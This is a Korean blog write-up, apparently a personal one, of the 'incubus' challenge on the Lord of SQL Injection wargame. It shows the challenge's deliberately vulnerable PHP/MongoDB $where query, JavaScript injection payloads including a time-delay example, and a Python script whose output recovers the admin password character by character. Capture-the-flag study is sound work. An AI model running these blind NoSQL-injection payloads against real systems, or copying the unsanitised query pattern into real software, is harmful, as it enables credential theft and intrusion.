드디어!!! 마지막 문제인 incubus이다. 문제를 푼 시간보다 풀이를 적는 시간이 더 오래 걸렸던 것 같다..

코드는 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
--------------------------------------------------------------------------
query : {"$where":"function(){return obj.id==''&&obj.pw=='';}"}
--------------------------------------------------------------------------

<?php
  include "./config.php";
  login_chk();
  $db = mongodb_connect();
  if(preg_match('/prob|_|\(/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\(/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = array("\$where" => "function(){return obj.id=='{$_GET['id']}'&&obj.pw=='{$_GET['pw']}';}");
  echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
  $result = mongodb_fetch_array($db->prob_incubus->find($query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

  $query = array("id" => "admin");
  $result = mongodb_fetch_array($db->prob_incubus->find($query));
  if($result['pw'] === $_GET['pw']) solve("incubus");
  highlight_file(__FILE__);
?>

이번에도 idadmin일 때의 pw 값을 알아야 한다. 그런데 이번 문제에서는 조금 다른게 쿼리가 함수 형태로 들어갔다는 것이다. 함수 형태로 들어가 있더라도, 내가 입력 한 값에 대해서는 특별한 검증이 없기 때문에 공격이 가능하다.

내가 주로 고민했던 부분은 obj.pw에서 한 글자 씩을 어떻게 비교 할 것이냐는 부분이었다. 그런데 여러가지 테스트를 해 보다가 obj.pw[0]과 같이 사용하면 한 글자 씩 사용할 수 있는 것을 확인할 수 있었다. 일단 공격을 수행하기 위해서는 내가 의도한 코드를 실행시켜야 하는데, 여기에서는 소스코드를 이어서 적는 방법으로 함수의 흐름을 변경할 수 있다. 소스코드를 이어서 적는 방법이라고 하니 뭔가 이상한데, 예를 들면 이런 것이다.

Testing for NoSQL injection

여기의 예시를 보면, 아래와 같은 코드가 있다.

1
db.myCollection.find( { active: true, $where: function() { return obj.credits - obj.debits < $userInput; } } );;

이 때, $userInput에 대한 검증과정이 없다면 아래와 같은 코드를 $userInput으로 삽입하는 것이 가능하다.

1
(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<10000); return Math.max();})()

그 결과, 완성되는 코드는 다음과 같다.

1
function () { return obj.credits - obj.debits < (function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<10000); return Math.max();})(); }

즉, 입력 값에 내가 실행하고자 하는 소스코드를 입력하여 함수의 흐름을 바꾸는 것이다. 나는 idadmin일 때의 pw 값을 구해야 하므로, 실행되어야 하는 코드는 다음과 같은 형태여야 pw를 한 글자 씩 비교 해 전체 값을 알아낼 수 있다.

1
function(){return obj.id=='admin'&&obj.pw[0]=='a';}

따라서 내가 입력 한 값은 다음과 같다.

1
?id=admin'&&obj.pw[0]='a';'

이렇게 하면 $query에서 완성되는 코드는 다음과 같다.

1
function(){return obj.id=='admin'&&obj.pw[0]=='a';''&&obj.pw=='';}

만약 obj.idadmin이고 obj.pw의 첫 번째 글자가 a라면 return true가 될 것이고, 뒤의 ''&&obj.pw=='';는 별 다른 영향을 미치지 못할 것이다. 이를 바탕으로 아래와 같이 코드를 구현했다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import time

flag = ""
length = 40

url = "https://los.rubiya.kr/chall/incubus_3dff9ce783c9f574edf015a7b99450d7.php?id="
session = dict(PHPSESSID = "YOUR SESSION ID")

end = False

print "[+] Start"

print "[+] Find password"
	
for j in range(0, length + 1):
	for i in range(48, 123):
		try:
			start = time.time()
			query = url + "admin'%26%26obj.pw[" + str(j) + "]=='" + str(chr(i)) + "';'"
			r = requests.post(query, cookies=session)
		except:
			print "[-] Error occur"
			continue

		if 'Hello admin' in r.text:
			flag += chr(i)
			print "[+] Found " + str(j + 1), ":", flag
			break
		if i == 122:
			end = True
			print "[+] Maybe it's end of the password"
			break
	if end:
		break

print "[+] Found password : ", flag
print "[+] End"

이를 실행하면 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$ python ex.py
[+] Start
[+] Find password
[+] Found 1 : b
[+] Found 2 : b4
[+] Found 3 : b47
[+] Found 4 : b478
[+] Found 5 : b4782
[+] Found 6 : b47822
[+] Found 7 : b47822e
[+] Found 8 : b47822ea
[+] Maybe it's end of the password
[+] Found password :  b47822ea
[+] End

와 드디어 마지막 플래그 값을 얻었다! 이를 아래와 같이 입력하면 문제를 풀 수 있다.

1
?id=admin&pw=b47822ea

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
-----------------------------------------------------------------------------------
query : {"$where":"function(){return obj.id==''&&obj.pw=='b47822ea';}"}
-----------------------------------------------------------------------------------

INCUBUS Clear!

<?php
  include "./config.php";
  login_chk();
  $db = mongodb_connect();
  if(preg_match('/prob|_|\(/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\(/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = array("\$where" => "function(){return obj.id=='{$_GET['id']}'&&obj.pw=='{$_GET['pw']}';}");
  echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
  $result = mongodb_fetch_array($db->prob_incubus->find($query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

  $query = array("id" => "admin");
  $result = mongodb_fetch_array($db->prob_incubus->find($query));
  if($result['pw'] === $_GET['pw']) solve("incubus");
  highlight_file(__FILE__);
?>

1
INCUBUS Clear!!

드디어 Lord of SQL Injection을 또 다시 All Clear 했다! 너무 신난다 히히힣 지난번에 풀 때에는 모르는게 좀 많아서 물어보면서 했었는데, 이번에는 퇴근하고 매일매일 혼자 풀어서 올클을 한 거라 더욱 뿌듯했다. 이제는 다른 공부거리를 찾아봐야 겠다.

1
Lord of SQL Injection All Clear!!